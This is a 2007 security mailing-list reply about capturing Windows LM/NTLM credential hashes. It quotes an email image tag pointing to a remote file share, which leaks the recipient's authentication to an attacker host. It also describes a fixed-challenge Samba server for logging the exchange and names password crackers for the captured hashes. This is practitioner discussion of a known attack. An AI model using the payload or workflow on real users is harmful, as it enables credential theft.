RE: Pass the hash

On Fri, 2007-11-16 at 07:38 -0500, Shenk, Jerry A wrote:
> Send the hash to a machine that is only capable of LM authentication and
> then sniff that traffic.  I've done that with an embedded image tag in
> an e-mail like <img src="file://123.123.123.123/someshare/dot.gif"> or
> something like that.

FWIW, both "file://" and "\\" work here. Gotta love Outlook and IE. ;)

Rather than sniffing the LM/NTLMv1 exchange, you can also setup your own
SMB service that just logs the data. I've posted my modification to
Samba which uses a fixed challenge to do this here:

http://www.foofus.net/jmk/smbchallenge.html

Using a fixed challenge makes RainbowCrack feasible for this attack.
Even without a fixed value, though, John and Cain can be used to brute
the challenge/response pair.

My assumption is that NTLMv2 is also vulnerable to this attack. The
introduction of a client challenge does limit us to brute-force password
cracking. Probably wouldn't take much to hack logging of the NTLMv2
exchange into Samba.

Joe

-- 
jmk <jmk@foofus.net>
Foofus Networks


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